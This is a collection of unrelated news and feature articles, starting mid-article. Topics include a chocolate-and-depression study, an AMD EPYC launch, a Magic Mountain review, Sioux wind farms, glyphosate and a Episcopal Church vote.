gauged the moods of the participants using a standard questionnaire used to screen for depression. (People who were taking antidepressants were excluded from the study.)  Health.com: How to make chocolate a healthy indulgence  The men and women who were considered to be depressed ate 8.4 servings of chocolate per month, while their counterparts who weren't depressed consumed just 5.4 servings each month.  Study participants who scored higher on the depression scale ate even more chocolate, nearly 12 servings per month, the researchers found. (An average serving was defined as one small chocolate bar or one ounce of chocolate candy.)  To zero in on the chocolate-mood connection, the researchers took into account a range of other dietary factors, such as calorie, fat, and carbohydrate intake. These measures were similar in the depressed and non-depressed people, which suggests that the link between chocolate and depression is unique in some way, according to the researchers.  Health.com: 10 free ways to fight depression  While popular culture usually depicts women as emotional chocoholics, the study shows that men, too, may reach for chocolate when they're down and out. Seventy percent of the participants were men, and the results were similar in men and women.  Explaining the apparent link between chocolate and depression is a classic chicken-or-egg question, says Golomb. Eating chocolate -- which has been shown to improve mood in animal studies -- may be a form of self-medication for depressed people, she and her colleagues suggest, or chocolate may simply be a comfort food.  Health.com: America's healthiest superfoods for women  The link may run in the opposite direction, however. Like alcohol, chocolate may make depressed people feel better in the short term, but eating it regularly may have a negative effect on health and mood in the long run, the researchers say -- especially if the chocolate is in products such as candy bars that are filled with saturated fat and other unhealthy ingredients. Indeed, as Khiry suggests, overindulging in chocolate when you're down can sometimes leave you feeling even worse.  "There is some relation between chocolate and depression," says Scott Bea, a psychologist at the Cleveland Clinic, in Ohio. "Chocolate could be a fix for depression or it could work the other way, meaning that people who overly use chocolate could be prone to depression."  Susan Albers, a psychologist and colleague of Bea's at the Cleveland Clinic, says that chocolate raises levels of the brain chemical serotonin -- as do some antidepressants -- and also boosts blood-sugar levels, which can make you feel more energetic.  Health.com: 15 ways to breathe easier when eating  "Emotional chocolate eaters may be looking for an immediate change that exercise or antidepressants can bring," she says. But, she adds, a chocolate rush is often followed by a crash, and "The crash will make the depression worse."  Albers teaches chocoholics to stop and smell the chocolate -- literally.  "When we eat chocolate, we tend to think about the next piece before we finish the one we are eating," says Albers, the author of 50 Ways to Soothe Yourself Without Food. "I teach people to slow down the process by opening up the chocolate slowly, listening to it crinkle, and slowing down the whole process so they actually taste it and realize that a small amount can make them feel a lot better."  Khiry uses a similar strategy. To keep herself from eating too much chocolate, she sometimes tries to suck on each piece so it lasts longer.  The study had some important limitations, as the researchers note. It was not initially designed to investigate chocolate and mood, and the data was taken from a larger study on the effects of cholesterol-lowering statins. Furthermore, the study didn't distinguish between different types of chocolate (such as dark and milk chocolate, which contain different amounts of cocoa).  Health.com: Foods to boost your mood  And because the study simply took a snapshot of the participants at one moment in time, the results don't show how chocolate consumption and mood may change or interact over time.  Still, Bea says, the findings could serve as a red flag for people who may be drowning their sorrows in Hershey's.  "If you're depressed and eating lots of chocolate, look for more direct solutions such as psychotherapy and/or antidepressants," he says. "If you crave chocolate a lot, examine your mood state and deduce if depression is a factor in your life."  Copyright Health Magazine 2011
-The Cincinnati Enquirer endorsed Democratic nominee Hillary Clinton in the 2016 presidential race, breaking from a nearly century-long tradition of backing Republicans.  When considering their decision this year, the editorial board of the Enquirer said they didn’t take breaking their tradition of endorsing GOP candidates lightly.  “But this is not a traditional race, and these are not traditional times,” they wrote.  The board called Clinton and her Republican rival, The board called Clinton and her Republican rival, Donald Trump , “the most unpopular pair of presidential candidates in American history.”  “Trump, despite all of his bluster about wanting to ‘make America great again,’ has exploited and expanded our internal divisions,” they wrote. “Clinton’s arrogance and unwillingness to admit wrongdoing have made her a divisive and distrusted figure as well.”  The board called Trump “a clear and present danger to our country,” citing his lack of foreign policy experience and exclusionary remarks about women and minorities as some of their “fears” about his candidacy.
-The Conservative government says it is overturning an RCMP decision to doff their muskrat hats in favour of more animal-friendly tuques.  A Canadian muskrat winter hat with ear and forehead flaps, as shown on a website opposed to the use of fur. The RCMP had confirmed plans to begin phasing out its version of the fur hats. (thefurbearers.com) Environment Minister Leona Aglukkaq told the House of Commons that the public safety minister is directing the Mounties to reverse the move.  The RCMP recently wrote to an animal-rights group to say it had found a tuque that works well in very cold weather and would therefore begin buying them for officers.  The Association for the Protection of Fur Bearing Animals says muskrats are caught in body-gripping traps, which can leave them exposed to the elements, dehydration, starvation and predators before they die.  The association says a single fur hat like that traditionally worn by the RCMP requires at least three muskrat pelts.  Aglukkaq, who hails from Nunavut, is a staunch supporter of fur trappers.  The RCMP referred questions Tuesday to Public Safety Canada.  Interference?  Association spokesman Michael Howie heard the news with "a combination of shock and disgust."  "The RCMP made a decision based on facts, scientific testing and the collective attitudes of their members and the public," Howie said. "The government of Canada is clearly trying to pander to a dwindling industry and disregarding the rest of the country's views."  In the Commons, Conservative MP Robert Sopuck said the "egregious anti-fur decision by the RCMP" had threatened to devastate thousands of livelihoods.  "The fur trade is vital to the economy of many remote rural communities — communities who often have few other economic options."  Howie said the majority of Canada's fur cultivation actually takes place on factory farms where hundreds of thousands of mink and fox are kept in tiny cages and slaughtered for their skin.  The association has launched an online petition demanding the government honour the RCMP's original decision.  "Interfering with what the public clearly believes in is what is disrespectful here," Howie said. "And right now, we are disgusted with our government."
-Press Release  AMD EPYC™ Datacenter Processor Launches with Record-Setting Performance, Optimized Platforms, and Global Server Ecosystem Support  Dell, HPE, Lenovo, Mellanox, Samsung Electronics, Supermicro, VMware, Xilinx, and many others form strong global ecosystem for EPYC™ processors  AMD Launches EPYC for the Datacenter  AUSTIN, Texas, June 20, 2017 (GLOBE NEWSWIRE) — AMD (NASDAQ:AMD), and a global ecosystem of server partners, today marked a new era in the datacenter with the launch of AMD EPYC™ 7000 series high-performance datacenter processors. AMD was joined by multiple customers and partners at the global launch event in presenting a wide array of systems, performance demonstrations, and customer testimonials. The innovative, record-setting AMD EPYC design, with up to 32 high-performance “Zen” cores and an unparalleled feature set, delivers greater performance than the competition across a full range of integer, floating point, memory bandwidth, and I/O benchmarks and workloads.  “With our EPYC family of processors, AMD is delivering industry-leading performance on critical enterprise, cloud, and machine intelligence workloads,” said Lisa Su, president and CEO, AMD. “EPYC processors offer uncompromising performance for single-socket systems while scaling dual-socket server performance to new heights, outperforming the competition at every price point. We are proud to bring choice and innovation back to the datacenter with the strong support of our global ecosystem partners.”  The world’s largest server manufacturers introduced products based on AMD EPYC 7000-series processors at today’s launch, including HPE, Dell, Asus, Gigabyte, Inventec, Lenovo, Sugon, Supermicro, Tyan, and Wistron. Primary hypervisor and server operating system providers Microsoft, Red Hat, and VMware showcased optimized support for EPYC, while key server hardware ecosystem partners Mellanox, Samsung Electronics, and Xilinx were also featured in EPYC-optimized platforms.  Leading Server OEM Platforms  “The EPYC processor represents a paradigm shift in computing and will usher in a new era for the IT ecosystem,” said Antonio Neri, EVP and general manager Enterprise Group, HPE. “Starting with the Cloudline CL3150 and expanding into other product lines later this year, the arrival of EPYC in HPE systems will be welcomed by customers who are eager to deploy the performance and innovation EPYC delivers.”  “As an industry leader, we are committed to driving IT transformation for our customers,” said Ashley Gorakhpurwalla, president, server solutions division at Dell EMC, “Our next generation of PowerEdge servers are the bedrock of the modern data center that are designed to maximize business scalability and intelligent automation with integrated security. The combination of PowerEdge and the AMD EPYC performance and security capabilities will create unique compute solutions for our customers to accelerate workloads and protect their business.”  Cloud Datacenter and Enterprise Customers  Datacenter and cloud service providers also welcomed EPYC to the market today. Members of the “Super 7” datacenter services providers, including Baidu and Microsoft Azure, as well as 1&1, Bloomberg, Dropbox and LexisNexis, all voiced their support at launch.  “As the world’s largest Chinese language search engine and leading AI-Tech company, Baidu prides itself on simplifying a complex world through technology,” said By Dr. Zhang Ya Qin, president of Baidu. “The AMD EPYC processor powered one-socket server can significantly increase our datacenter computing efficiency, reduce TCO and lower energy consumption. We will start deploying with the launch of AMD EPYC and I look forward to our cooperation leading to scaled EPYC adoption this year, and ongoing innovations.”  “We’ve worked to make Microsoft Azure a powerful enterprise grade cloud platform, that helps guide the success of our customers, no matter their size or geography,” said Girish Bablani, corporate vice president, Azure Compute, Microsoft Corp. “To power Azure, we require the most cutting-edge infrastructure and the latest advances in silicon which is why we intend to be the first global cloud provider to deliver AMD EPYC, and its combination of high performance and value, to customers.  Record-Setting EPYC Performance  The excitement around EPYC is driven by multiple record-setting server benchmarks achieved by EPYC-powered one-socket and two-socket systems.  AMD EPYC processors set several performance records, including:  • Two-Socket Server  AMD EPYC 7601-based system scored 2360 on SPECint®_rate2006, higher than any other two-socket system score1  • One-Socket Server  AMD EPYC™ 7601-based system scored 1200 on SPECint®_rate2006, higher than any other mainstream one-socket x86-based system score 2  AMD EPYC 7601-based system scored 943 on SPECfp®_rate2006, higher than any other one-socket system score3  All EPYC processors combine innovative security features, enterprise class reliability, and support a full feature-set. An AMD EPYC™ 7601 CPU-based one-socket system shifts expectations for single socket server performance, helping lower total-cost-of-ownership (TCO), providing up to 20% CapEx savings compared to the Intel Xeon E5-2660 v4-based two-socket system4. At every targeted price point for two-socket processors, EPYC outperforms the competition, with up to 70% more performance in the eight hundred dollar price band and up to 47% more performance at the high-end of the market of four thousand dollars or more5.  EPYC Product Overview  A highly scalable System on Chip (SoC) design ranging from 8-core to 32-core, supporting two high-performance threads per core  Industry-leading memory bandwidth across the line-up, with 8 channels of memory on every EPYC device. In a two-socket server, support for up to 32 DIMMS of DDR4 on 16 memory channels, delivering up to 4 terabytes of total memory capacity  Unprecedented support for integrated, high-speed I/O with 128 lanes of PCIe® 3 on every product  A highly-optimized cache structure for high-performance, energy efficient compute  AMD Infinity Fabric coherent interconnect linking EPYC CPUs in a two-socket system  Dedicated security hardware  EPYC Product Lineup  Model Core / Thread Base Freq. Max Boost TDP EPYC™ 7601 32 / 64 2.2 GHz 3.2 GHz 180W EPYC™ 7551P 32 / 64 2.0 GHz 3.0 GHz 180W EPYC™ 7501 32 / 64 2.0 GHz 3.0 GHz 155/170W EPYC™ 7451 24 / 48 2.3 GHz 3.2 GHz 180W EPYC™ 7401P 24 / 48 2.0 GHz 3.0 GHz 155/170W EPYC™ 7351P 16 / 32 2.4 GHz 2.9 GHz 155/170W EPYC™ 7301 16 / 32 2.2 GHz 2.7 GHz 155/170W EPYC™ 7281 16 / 32 2.1 GHz 2.7 GHz 155/170W EPYC™ 7251 8 / 16 2.1 GHz 2.9 GHz 120W  Press Release
-Buddenbrooks may be the precociously brilliant debut, Death in Venice the small-but-perfectly-formed novella, but for me, Mann's real masterpiece is his sprawling snowbound epic of 1924, The Magic Mountain. Set in a tuberculosis sanatorium during the years immediately prior to the Great War, this book is many things: a modernist classic, a traditional bildungsroman, a comedy of manners, an allegory of pre-war bourgeois Europe, and – perhaps most importantly this time of year – the ideal book to keep you company on the long winter nights, when whichever flu bug is doing the rounds has gained the upper hand and forced you into a sneezing retreat to your sickbed.  For The Magic Mountain is a work of sick-lit par excellence: a novel that convincingly portrays illness as a state of mind as well as of body (though Mann does not shy away from the more visceral aspects of the latter). This is a novel mystifyingly overlooked by Virginia Woolf in her 1926 essay On Being Ill, in which she bemoans literature's failure to make illness one of its "prime themes" alongside "love and battle and jealousy." Well, here illness is decidedly centre-stage, and the plot – what there is of it – almost incidental: Hans Castorp, a naive young engineer, travels to the International Sanatorium Berghof high up in the Swiss Alps to visit his ailing cousin, Joachim Ziemssen. What was intended as a stay of a few weeks stretches into months, and then years, as Hans himself is diagnosed tubercular and dutifully takes his place among the cast of coughing consumptives. There is a chilling ambiguity as to just how much of Hans's illness is genuine and how much the result of "going native". Indeed, Hans positively revels in his status as one of the "horizontal":  Hans Castorp stayed out on his balcony, looking down on the bewitched valley until late into the night… His splendid lounge chair with its three cushions and neck roll had been pulled up close to the wooden railing, topped along its full length by a little pillow of snow; on the white table at his side stood a lighted electric lamp, a pile of books, and a glass of creamy milk, the "evening milk" that was served to all the residents of the Berghof in their rooms each night and into which Hans Castorp would pour a shot of cognac to make it more palatable.  Ensconced in his lounge chair, miles away from the cut and thrust of life on the "flat lands", Hans finds himself questioning long-held notions of honour and mortality. Up here, the snow is "eternal", and time itself becomes slippery and can no longer be trusted to behave as one would expect. This is indeed another world: of never-ending soup and ritualised – almost fetishised – thermometer readings; of rest cures and lectures on love-as-a-disease; of petty rivalries and giddy flirtations (after all, these are individuals "feverish, with accelerated metabolism"); where death is the elephant in every room and only ever happens "behind the scenes". This gives the novel a lovely feeling of the sublime and the uncanny. Indeed, at times it almost slips into the realms of the supernatural. An x-ray machine, a visit to the cinema and a gramophone player are all treated with suspicious wonder; a central chapter, entitled "Snow", concerns its 50-odd pages with Hans's near-fatal expedition into the snowy wasteland surrounding the sanatorium, an expedition that culminates in a horrific hallucination which could have come straight out of the pages of HP Lovecraft. There is even a séance scene. (And I assume we're all in agreement here that any self-respecting Winter Read should have at least one séance scene?) All the while, unbeknownst to the inhabitants of the clinic, Europe inches towards a war that will destroy this rarefied way of life for ever.  If this all sounds a little grim, it is worth reiterating that The Magic Mountain is essentially a comic novel – albeit a comic novel dealing with the darkest of subjects. The entire work is suffused with a sly and gentle humour, making it an absolute delight to read. And, if you want to make the experience more delightful still, be sure to invest in the superior John E Woods translation, published – in hardback only, unfortunately – by Everyman's Library. What it loses in the beautiful cover artwork of the paperback it gains in lucid prose-style and readability. A book I return to every couple of years, The Magic Mountain is simply one of the greatest novels ever written. And an essential purchase for every sickbed this winter…
-While the Sioux nation has been in the spotlight almost daily for its opposition to construction of the Dakota Access oil pipeline, it has much more quietly been pursuing renewable energy development on the Standing Rock Reservation and other tribal lands across North and South Dakota.  Seven Sioux tribes in the Dakotas are developing what would be an enormous collection of wind farms on six reservations scattered across what is generally rated as one of the windiest areas in the country.  “The ultimate vision is to develop as much as 2 gigawatts, and potentially more,” said Caroline Herron, a consultant who’s been hired by the tribes to act as a project manager. Each of the reservations “can support a couple hundred megawatts, if not more. We’re recognizing that we’ll need to phase this in. We will probably start with a couple sites with a couple hundred megawatts each.”  The tribes four years ago formed the Oceti Sakowin Power Authority, the entity that is pursuing the wind projects. The group formed a corporation, received $400,000 in grants from a couple of private foundations and has done some preliminary planning work.  Lyle Jack, who represents the Oglala Sioux Tribe on the authority’s board, said the authority hopes to have the first turbines spinning within three years. The authority intends to issue municipal or power bonds to finance the purchase and installation of turbines.  The current challenge, however, is to identify $10 million in collateral so the authority can tap into a $10 million loan guarantee approved by the U.S. Department of Agriculture. Those funds would pay for cultural and environmental surveys aimed at assessing any harm the project might cause to bird populations, archaeological sites and other sensitive natural resources in the area.  If the authority cannot gather up $10 million in collateral in the form of, say, cash and grazing rights, Jack said it will look outside the tribes. That would mean the tribes would lose some control of the project, a specter that Jack said has hamstrung their efforts in the past.  For years, according to Jack, the South Dakota tribes “have been trying to do clean-energy projects, but we all run into the same problems, such as investors wanting to come in and own the project, and to just lease the land from the tribes. The tribes want to control their own energy resources.  “We do need the jobs and revenue that this project would create, and it also coincides with our culture in taking care of the earth and climate. To us, the wind is sacred. Also, it’s giving us a chance to do our part in reducing the carbon footprint, and to help slow down climate change.”  The wind resource in South Dakota generally is ranked as one of the top five among the 50 states, and Herron said preliminary assessments indicate that all six sites “have great wind resources.” Depending on the turbines they use, she said, the capacity factor could be “well over 50 or 60 percent. They’re really great capacity factors.”  More-detailed wind studies are needed before Herron and the tribes can approach potential investors.  The Oceti Sakowin Power Authority also will need to develop additional transmission to move the power from remote rural areas to populated regions with a hankering for more power.  “It’s the biggest issue in that whole area,” Herron said. The tribes know they’ll have to make significant investments in more transmission, and have included the cost of it in their financial projections, Jack said.  Herron pointed out that other wind farms — and transmission upgrades — have been developed near reservations in Nebraska, the Dakotas and Iowa.  “The nut’s been cracked before,” she said.  The tribes also have to find buyers for their power. Jack said they’ve spoken with interested potential customers, including utilities and corporations. He said he is prevented by a legal agreement from disclosing any details.  As wind measurements yield specifics about just how good the breezes are, Herron said, she and the power authority “will be able to take that to the next level of discussion with a potential power purchaser.”  Although many details remain cloudy, she and Jack are confident that the pieces will come together.  “I think (the tribes) have gotten through the most difficult challenges already, in deciding to work together and putting together a strong relationship,” Herron said. “They’ve got great resources. The rest of it is technical challenges that any project would have. It’s nothing that can’t be worked through.”
-Image caption Viola Beach were killed in a car crash as they travelled back from a festival in Sweden  Indie band Viola Beach have scored a number one album, six months after they were killed in a car crash.  The self-titled debut was compiled by the band's families, using live sessions and studio recordings, many of which were originally bound for an EP.  It outsold the number two album, ELO's All Over The World, The Very Best Of, by about 6,000 copies, said the Official Chart Company.  "I'm in shock," said Finn Reeves, whose brother River was the band's guitarist.  "I think they'd be absolutely thrilled. I can see the smiles on their faces.  "They made this happen. They did the hard work."  Viola Beach consisted of singer Kris Leonard, guitarist River, bassist Tomas Lowe and drummer Jack Dakin.  All four members of the Warrington band and their manager Craig Tarry died when their car plunged into a canal in Sweden in February.  Media playback is unsupported on your device Media caption "They are with us today" - relatives of Viola Beach react to news their album is number one in the album chart  The families of the band said: "The tragic circumstance that met Viola Beach and their manager Craig that fateful night in Sweden will not now define their lives.  "What will now define their lives and what they will be remembered for, forever, is the music they were so passionate about making together.  "For that, we will be eternally humbled and ever thankful to every single person who, by buying this glorious album, has invested in their lasting musical legacy."  Viola Beach had been championed by BBC Introducing, who invited them to play the Reading and Leeds festivals last year.  The young band's first single Swings & Waterslides reached number 11 in the wake of the tragedy, while Coldplay paid tribute by performing their song Boys That Sing at Glastonbury, hinting at what the future might have held.  Media playback is unsupported on your device Media caption Viola Beach play Swings & Waterslides in session for BBC Introducing  'Legacy lives on'  "They were just so talented and they had so much going for them," said Loren Dakin, elder sister of drummer Jack.  "If they would have come home from this, it would have just snowballed from there. They would have made it."  She said listening to the album took her back to the pubs and clubs where she watched Viola Beach play as they started to gain a foothold in the music industry.  "It's very sad - but it's also beautiful," she said. "I can hear my brother drumming, I can hear Chris singing. It's like their legacy lives on.  "Sometimes I am quite destructive with the music, because I'll listen to it when I'm sad and it'll make me feel worse.  "But a lot of times I'll listen to it with friends or when I'm in an upbeat mood and it's beautiful. It's great music and they wanted everyone to hear it."  Top five albums 1) Viola Beach Viola Beach 2) ELO All Over The World - The Very Best Of 3) Christine & The Queens Chaleur Humaine 3) Drake Views 4) Adele 25  Top five singles 1) Major Lazer feat Justin Bieber and MØ Cold Water 2) Calum Scott Dancing On My Own 3) Jona Blue feat JP Cooper Perfect Strangers 4) Chainsmokers feat Daya Don't Let Me Down 5) Drake feat Wizkid and Kyla One Dance  Elsewhere in the charts, Miami dance producer DJ Khaled's scores his first top 40 album with Major Key while BBC Sound of 2016 finalist Nao makes her chart debut at 17 with the summery funk of For All We Know.  Major Lazer, Justin Bieber and Danish singer MØ retain the number one spot in the singles chart with their dance track Cold Water, while MØ's own track Final Song becomes her biggest solo hit to date, climbing two places to number 15.  She is not to be confused with British girl band M.O, whose summer anthem Who Do You Think Of? climbs seven places to number 18, giving them their first top 20 hit.  US star Halsey - who rose to fame by parodying Taylor Swift on YouTube - scores her first Top 40 single as a featured artist on The Chainsmokers' Closer, while US band Fifth Harmony are a new entry at 36 with All In My Head (Flex).  Follow us on Twitter @BBCNewsEnts, on Instagram at bbcnewsents, or email entertainment.news@bbc.co.uk.
-The Monsanto product – the world’s most widely used herbicide – contains glyphosate, which may also be carcinogenic for non-Hodgkin’s lymphoma  Roundup, the world’s most widely used weedkiller, “probably” causes cancer, the World Health Organisation (WHO) has said.  The International Agency for Research on Cancer (IARC) – WHO’s cancer agency – said that glyphosate, the active ingredient in the herbicide made by agriculture company Monsanto, was “classified as probably carcinogenic to humans”.  It also said there was “limited evidence” that glyphosate was carcinogenic in humans for non-Hodgkin’s lymphoma.  Monsanto, the world’s largest seed company, said scientific data did not support the conclusions and called on WHO to hold an urgent meeting to explain the findings. “We don’t know how IARC could reach a conclusion that is such a dramatic departure from the conclusion reached by all regulatory agencies around the globe,” said Philip Miller, Monsanto’s vice-president of global regulatory affairs.  Concerns about glyphosate on food have been widely debated in the US recently, and contributed to the passage in Vermont last year of the country’s first mandatory labelling law for genetically modified food.  The US government considers the herbicide to be safe. In 2013, Monsanto requested and received approval from the US Environmental Protection Agency for increased tolerance levels for glyphosate.  It is mainly used on crops such as corn and soybeans, which are genetically modified to survive it.  The weedkiller has been detected in food, water and in the air after it has been sprayed, according to the report from WHO. However, glyphosate use is generally low in and near homes where the general public would face the greatest risk of exposure, the report said.  The evidence for WHO’s conclusion was from studies of exposure, mostly agricultural, in the US, Canada, and Sweden that were published since 2001.
-Though her Harry Potter costar Daniel Radcliffe has bared all in London and New York stage productions of Equus, Hermione Granger is content to remain the clean-cut belle of Hogwarts.  “I have no plans to do anything for the sake of it, or to shock people,” the actress, 18, tells the U.K.’s Mail on Sunday‘s Live magazine.  “I might be willing to take my clothes off for a Bernardo Bertolucci film, if it was a part that really made sense as part of my character. But I wouldn’t do it just to make a point, to move on from Hermione.”  Exposing her attitude about the demands of being a young star, Watson says, “I find the whole concept of being ‘sexy’ embarrassing and confusing. If I do a photo-shoot people desperately want to change me – dye my hair blonder, pluck my eyebrows, give me a fringe [bangs].”  As for wearing revealing clothes for fashion shoots, “Personally, I don’t actually think it s even that sexy. What’s sexy about saying, ‘I m here with my boobs out and a short skirt have a look at everything I’ve got’?  “My idea of sexy is that less is more. The less you reveal the more people can wonder.”
-Italian bloggers are up in arms after ministers secretly resurrected their attempts to introduce a new law dubbed the “blog killer” by critics.  The proposed legislation would force online publications, whether large or small, to amend information on their sites within 48 hours of a complaint — or face fines of €12,000 ($15,700).  Advertisement  The “ammazza blog” amendment was first mooted a few years ago by the government of Silvio Berlusconi, but ended up being crowded out by opponents who said it would be used to punish small publications, bloggers or even social networks.  A brief attempt to turn the proposals into law last year hit the same roadblock, yet this week it was discovered that the clause had been quietly reintroduced into a draft bill on wiretapping and gag laws.  Here’s Il Fatto Quotidiano:  The law provides that each site owner is required to rectify any content on the basis of a simple request from anyone who considers themselves wronged. There is no chance to reply: anyone who does not rectify what they have published within 48 hours will pay up to €12,0000 fine. An example could be this: a website could publish a story about somebody who had been arrested and was being held in jail, but if the individual’s lawyer wrote to say it was not true, the website would be forced to publish the correction or face the penalty.  Because the law does not seem to discriminate between complaints that have a basis in reality and those that are factually incorrect — or give publishers room to verify the truth, they are concerned that it could effectively gag bloggers, newspapers and magazines from ever publishing anything potentially controversial.  Bloggers worry that if they take a few days off they may end up being slapped with egregious fines, or could end up having to deal with constant queries from troublemakers intended to tie them up for fear of suddenly being hit with a penalty.  Unlike some arguments between bloggers and public officials, however, this is not some minor policy squabble — and has been picked up by the famous politician Antonio Di Pietro, who made his name as part of the anti-corruption investigation known as Mani pulite (“clean hands”) in the 1990s.  According to La Repubblica, Di Pietro came out all guns blazing.
-BOSTON — If you’re able-bodied and can hit a jump shot, you had better keep your phone on. The Boston Celtics might need to give you a call to ask you to play soon.  Another one has possibly bitten the dust for the Celtics, as coach Brad Stevens told reporters at practice Friday that Gerald Wallace has been playing with bone spurs in his ankle and also has a torn meniscus in his knee. The ankle has been a season-long issue, but the knee could require season-ending surgery, according to Mark Murphy of the Boston Herald.  Celtics president of basketball operations Danny Ainge later confirmed Wallace is “done for the year.”  Wallace joins a growing list of injured Celtics players, with Jared Sullinger and Avery Bradley already out. Sullinger is expected to play Saturday against the Indiana Pacers after suffering a concussion last Friday in Los Angeles, while Bradley is progressing well but won’t be re-evaluated until next week. Vitor Faverani also needs a second opinion on his tweaked knee.  The injuries contributed to the Celtics’ decision to sign D-Leaguer Chris Babb from the Maine Red Claws to a 10-day contract on Friday. If Sullinger is not available Saturday, the Celtics’ bench will consist of Chris Johnson, Phil Pressey, Joel Anthony and Babb.
-Sen. Elizabeth Warren (D-MA) reacts to Native American protest song on Nov. 18, 2014 [youtube]  The Federal Reserve has been under fire of late — accused of coddling the Wall Street bankers it’s tasked with regulating.  In September, Jake Bernstein broke the story of Carmen Segarra’s revelations about the inner workings of the New York Fed for ProPublica and the public radio show, “This American Life.” Segarra had worked for the Fed as a special examiner to investigate Goldman Sachs, one of the most controversial of Wall Street’s “too-big-to-fail” financial institutions. She was fired after only seven months on the job — and lost a lawsuit in which she claimed that her dismissal was in retaliation for refusing to back down from a finding that Goldman didn’t have an adequate policy in place to prevent conflicts of interest.  But while her suit was unsuccessful, it revealed that Segarra had secretly recorded 46 hours of conversations with her supervisors and fellow inspectors. And the audio revealed a culture of deference to the banks the Fed was supposed to be supervising, and a clear pattern of “regulatory capture” — a type of corruption where those who are tasked with protecting the public interest instead work to advance private commercial interests.  On Friday, New York Fed President William Dudley appeared before the Senate Banking Committee, and was, as the Wall Street Journal put it, “lambasted” by a number of senators for his responses to questions about the Fed’s independence. Sen. Jack Reed (D-RI), told Dudley: “Good fences make good neighbors. There is the perception that are no fences between the [New York] Fed and the banks it regulates.”  As the Huffington Post noted, Dudley also conceded for the first time that the NY Fed views big Wall Street firms as “too-big-to-jail,” a charge long denied by officials.  But it was his statement that the Fed’s primary function as banking supervisors isn’t to act “like a cop on the beat” that really raised eyebrows. Dudley continued: “It’s more like a fire warden; make sure that the institution is well run so that, you know, it’s not going to catch on fire and burn down. And managed in a way that if the institution is stressed that it doesn’t collapse and threaten the rest of the financial system.”  As Rob Blackwell wrote for The American Banker, “Dudley reached for a metaphor with probably more meaning than he intended, and one with potentially disturbing implications.”  The job of a cop on the beat is pretty straightforward. They are there to keep the peace, look for wrongdoing, and punish offenders when necessary. But the role of a fire marshal is very different. A fire marshal’s job is to protect a building and its inhabitants — and save them at all costs, even from the consequences of their own errors. If a man lights his house on fire, the marshal’s job isn’t to punish him or even make sure it doesn’t happen again. The fire marshal’s role is instead to deal with the fire, rescue everyone, and put it out before it can spread. That sounds noble, and in real life it is. But when discussing bank regulation, it raises the uncomfortable specter of bailouts and other supervisory intervention taken not to prevent problems, but instead to contain them.  Last Thursday, after another critical hearing on Capitol Hill, the Fed’s Inspector General’s office announced that it was undertaking a a sweeping review of the agency’s supervisory capacity. As Gretchen Morgenson wrote for The New York Times, the move “looks an awful lot like damage control.”  A big part of the damage came during an exchange between Sen. Elizabeth Warren and William Dudley. Watch the video:
-Sixteen years after first allowing gays and lesbians to become priests and nine years after electing its first gay bishop, the Episcopal Church on Tuesday became the largest Christian denomination in the U.S. to offer religious blessings to same-sex couples.  The monumental decision, approved by a thick margin at the church's triennial General Convention in Indianapolis, means that priests in the 1.9 million-member church can officiate blessings to same-sex couples who are in long-term relationships beginning in December.  The church's House of Deputies voted 171 to 41, with nine people saying they were divided, to support a same-sex blessings liturgy that will be used during a three-year trial before the church meets again and decides if it should be permanent. The deputies' vote was done in two parts, with lay members approving the blessings by 78 percent and clergy members approving by 76 percent.  The vote followed Monday's decision by the church's House of Bishops supporting the measure by a 111 to 41, with three abstentions. Both groups have to approve new legislation.  Some Episcopal bishops currently allow same-sex blessings in their dioceses, but many have said they will not allow them unless the church has an official liturgy -- the words exchanged between a couple and a priest during the ceremony.  The new liturgy will not be mandatory. Bishops who do not approve of same-sex relationships will be allowed to bar its use in their dioceses. Priests who choose to not perform same-sex ceremonies will not face discipline.  The liturgy does not represent a religious marriage -- the church defines marriage as being between a man and a woman -- though some clergy in states that allow civil marriage officiate secular marriages in their churches.  During debate on Tuesday, many members of the church spoke in favor of same-sex blessings, while fewer spoke against them.  "I believe we are doing the loving thing, we are doing what Jesus would call on us to do," said the Rt. Rev. Michael Curry, Bishop of the Episcopal Diocese of North Carolina, in an interview. "We are finding a way to to support and care for people who have shown lifelong care and love for each other," added Curry, who voted for the legislation and has been officiating same-sex marriages in his own diocese since 2004.  "This singular motion ... will result in the Episcopal Church of the United States marching not simply out of step with but completely out of line with the faith," said the Rev. David Thurlow of South Carolina, a deputy who planned to vote against the proposal.  Tuesday's vote followed the church's decision on Monday to allow the ordination of transgender people. That vote to change to the church's "nondiscrimination canons" to include "gender identity and expression" overwhelmingly passed the church House of Bishops and House of Deputies. It makes it illegal to bar from the priesthood people who were born into one gender and live as another or who do not identify themselves as male or female. It added to church rules against discrimination based on race, ethnicity, national origin, sex, marital status, sexual orientation, disability and age.  The Episcopal Church is the U.S.-based wing of the Anglican Communion, an 85 million-member global denomination. In addition to its U.S.-based members, it has 173,000 members in other countries and territories, including the British Virgin Islands, Colombia, the Dominican Republic, Ecuador, Haiti, Honduras, Taiwan and Venezuela.  Liberal trends in the church regarding the ordination of gay priests and bishops have increasingly strained its relations with its more conservative counterparts in the United Kingdom and Africa. The election in 2003 of its first gay bishop, the Rt. Rev. Gene Robinson of New Hampshire, caused several dioceses to defect. The same day the Episcopal Church voted to allow transgender priests, the church's English counterpart, the Church of England, delayed until the fall a controversial vote on appointing women bishops.  The Episcopalians follow the 1.2 million-member United Church of Christ, which voted to approve same-sex marriage ceremonies in 2005. The Unitarian Universalist Association of Congregations and the Religious Society of Friends (Quakers) also allow same-sex marriage ceremonies. In addition, Reform and Reconstructionist Jewish denominations allow same-sex blessings. In 2009, the Evangelical Lutheran Church in America let churches recognize same-sex relationships, but it did not endorse an official church policy or liturgy for blessings.  At its biennial national meeting in Pittsburgh last week, the Presbyterian Church (USA) narrowly rejected a measure that would have changed its definition of marriage from being a union between a man and a woman to one between "two people." In April at its General Conference in Tampa, the United Methodist Church also upheld its teaching on homosexuality, which does not recognize same-sex marriages or unions.
